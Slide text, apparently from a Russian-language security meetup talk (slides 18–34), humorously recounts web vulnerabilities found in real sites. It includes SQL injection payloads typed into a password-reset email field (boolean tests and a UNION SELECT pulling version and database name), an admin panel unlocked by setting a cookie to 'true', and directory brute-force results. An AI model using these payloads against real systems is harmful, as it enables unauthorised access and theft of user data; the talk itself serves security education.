  • 18. 18 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO #securitymeetup
  • 19. 19 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO @fgkm_ Когда имя пользователя в url #securitymeetup
  • 20. 20 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO @Black2Fan RCE В ФОРМИРОВАНИИ CSS ФАЙЛА!!!!!11!!!!!адин!! #securitymeetup
  • 21. 21 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO Root, пароль для слабаков! #securitymeetup
  • 22. 22 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO @d90andrew Восстановление пароля. Поле для email'а: my@gmail.com' and 'a'='a# - письмо приходит my@gmail.com' and 'a'='b# - не отправляется my@gmail.com' union select 1,2,3,4,5,6# #securitymeetup
  • 23. 23 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO @d90andrew my@gmail.com' union select 1,2,3,concat_ws(0x3a,version(),database()),5,6# #securitymeetup
  • 24. 24 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO @d90andrew Пара часов и база пользователей в кармане! Точнее в почте... #securitymeetup
  • 25. 25 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO #securitymeetup
  • 26. 26 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO ЧОЭТА? #securitymeetup
  • 27. 27 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO @asintsov Привет, сервак, как жизнь? Как дети? Форкаешься еще? Если ты ADMIN, то хэш твоего пароля XXXXXXX! Ты уверен, что у твоего пароля такой хэш? Ну ты скажешь! Конечно! У меня такой же хэш и получился! Админ я или кто, по-твоему! Ну раз Админ, то проходи! Ну привет, клиентик. Ты сам-то чьих будешь? Ну как же это? Админ я, Админ! Соединение установлено. Текущий пользователь: ADMIN Самая крутая СУБД в мире - OpenEdge #securitymeetup
  • 28. 28 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO ЧТОЧТО ЗАЗА херняхерня туттут ПРОИСХОДИТ??ПРОИСХОДИТ?? #securitymeetup
  • 29. 29 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO Были подобраны файлы и папки: • /image/ • /css/ • /js/ • /index.php • /login.php • /logout.php #securitymeetup
  • 30. 30 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO GET /logout.php HTTP/1.1 Host: *******.ru HTTP/1.1 200 Ok Server: nginx Date: Dec, 29 Apr 1970 13:14:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Cache-Control: no-cache,no-store,max-age=0,must-revalidate Set-Cookie: 7ed93bc3576665339e899f356890fa5e=false; Path=/ Запрос: Ответ: #securitymeetup
  • 31. 31 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO GET /index.php HTTP/1.1 Host: *******.ru Cookie: 7ed93bc3576665339e899f356890fa5e=true Запрос: Добро пожаловать в панель администратора! ииииииииии... #securitymeetup
  • 32. 32 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO А бывает наоборот... #securitymeetup
  • 33. 33 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO #securitymeetup Bo0oM @i_bo0om Пишу лучше чем говорю (инфа сотка)
  • 34. 34 Questions & feedback? Email me – dave@learnppt.com More PowerPoint resources and downloads available at learnppt.com.learnppt.com LOGO #securitymeetup СДАЛСДАЛ ИГЭИГЭ ??http://goo.gl/TxxCi3